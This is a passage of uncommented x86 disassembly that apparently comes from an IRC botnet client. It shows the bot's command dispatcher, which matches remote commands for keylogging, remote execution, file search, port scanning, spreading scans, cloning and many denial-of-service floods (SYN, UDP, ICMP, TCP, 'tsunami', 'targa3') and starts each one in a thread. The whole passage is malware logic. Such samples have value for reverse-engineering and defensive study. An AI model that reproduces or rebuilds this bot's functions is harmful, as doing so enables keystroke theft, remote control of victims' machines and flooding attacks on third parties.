		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B120
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405D82

loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------

loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42B0E4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B074
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B04C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B020
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	loc_40828B
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset dword_42AFEC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFB4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AF94
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF48
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF1C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AEFC
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------

loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]

loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AED8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40600E

loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------

loc_40600E:				; CODE XREF: sub_401ACD+4529j
		call	near ptr 2690CE2h
		nop
		push	eax
		push	offset dword_42AE9C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB044, ebx
		jz	short loc_40604E
		cmp	dword_4CB06C, ebx
		jz	short loc_40604E
		push	offset unk_42AE60
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------

loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE34
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE14
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1

loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx

loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------

loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx

loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------

loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADCC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADAC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2

loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42AD84
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD38
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD1C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09

loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4067C5

loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------

loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		call	near ptr 2690CE2h
		nop
		push	eax
		push	offset unk_42AB8C
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB44
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4068F2

loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------

loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset dword_42AB08
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
